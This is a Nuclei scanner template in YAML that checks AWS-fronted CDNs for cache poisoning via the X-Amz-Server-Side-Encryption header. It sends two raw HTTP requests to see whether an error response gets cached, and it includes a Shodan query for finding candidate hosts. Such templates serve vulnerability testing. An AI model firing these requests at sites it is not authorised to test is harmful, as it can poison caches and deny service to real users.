nuclei-templates/http/misconfiguration/aws/cdn-cache-poisoning.yaml

38 lines
1.3 KiB
YAML
Raw Normal View History

id: cdn-cache-poisoning
info:
name: Misconfigured CDN Cache Poisoning via X-Amz-Server-Side-Encryption Header
author: 0xcharan
severity: unknown
description: |
When the X-Amz-Server-Side-Encryption header is sent with user controlled value, it can lead to a misconfigured CDN cache response with a 400 status code, making the page inaccessible.
impact: |
This vulnerability can disrupt website availability by poisoning the CDN cache, potentially leading to denial of service for users trying to access the page.
reference:
- https://portswigger.net/web-security/web-cache-poisoning
metadata:
verified: true
shodan-query: "X-Amz-Server-Side-Encryption"
tags: cache,aws,poisoning,cdn
variables:
string: "{{to_lower(rand_base(8))}}={{to_lower(rand_base(8))}}"
http:
- raw:
- |
GET /?{{string}} HTTP/1.1
Host: {{Hostname}}
X-Amz-Server-Side-Encryption: {{randstr}}
- |
GET /?{{string}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body_2, "{{randstr}}")'
- 'status_code_2==400'
condition: and
# digest: 4a0a00473045022100bcb6949961b5d502f6169b3ff6860e948f9da96c3fc1ab3b36c53b6fce4958d602204098767566a4bd622dec6ec60c84eb39a019381c49a633d5c915b51deec6a2c2:922c64590222798bb761d5b6d8e72950